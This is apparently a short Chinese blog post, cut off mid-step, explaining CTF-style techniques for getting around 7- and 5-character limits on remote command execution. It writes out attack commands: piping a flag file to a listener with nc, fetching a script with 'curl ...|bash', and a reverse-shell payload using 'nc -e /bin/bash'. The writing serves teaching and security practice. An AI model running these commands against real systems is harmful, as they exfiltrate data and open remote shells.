Hello World
欢迎来到我的博客!
RCE
RCE限制长度限长为7绕过列题: exec执行命令时无法回显,所以可以使用nc反弹出结果 12期望执行的命令: cat flag|nc 192.168.134.128 7777将cat flag执行的结果通过nc 提交到监听端口 12345678910111213141516执行的命令:>7777>\ \\>128\\>134.\\>168.\\>192.\\>c\ \\>\|n\\>flag\\>t\ \\>ca\\ls -t>ash a 结果: 限长为5绕过列题: 此时上一种方法不可行,ls -t>a 超过5字符 解决方法:更换期望执行的命令 12curl 192.168.134.128|bash将从192.168.134.128上获取的数据交给bash执行 命令执行过程: 1234准备工作:1.开启端口监听 nc -lvp 77772.创建index.html文件 nc 192.168.134.128 -e/bin/bash3.开启http.server监听端口80 py...